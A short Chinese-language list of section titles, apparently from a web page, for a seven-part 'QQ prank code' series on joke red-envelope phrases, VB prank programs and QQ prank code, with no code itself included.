qq恶搞代码篇五VB整人程序代码大全

qq恶搞代码篇六QQ恶搞程序

qq恶搞代码篇七整人代码大全

qq恶搞代码篇一
恶搞口令红包语句,QQ口令红包搞笑口令大全集

qq恶搞代码篇二
QQ恶搞代码

qq恶搞代码篇三
整人代码

qq恶搞代码篇四
恶搞代码收藏

qq恶搞代码篇五
VB整人程序代码大全

qq恶搞代码篇六
QQ恶搞程序

qq恶搞代码篇七
整人代码大全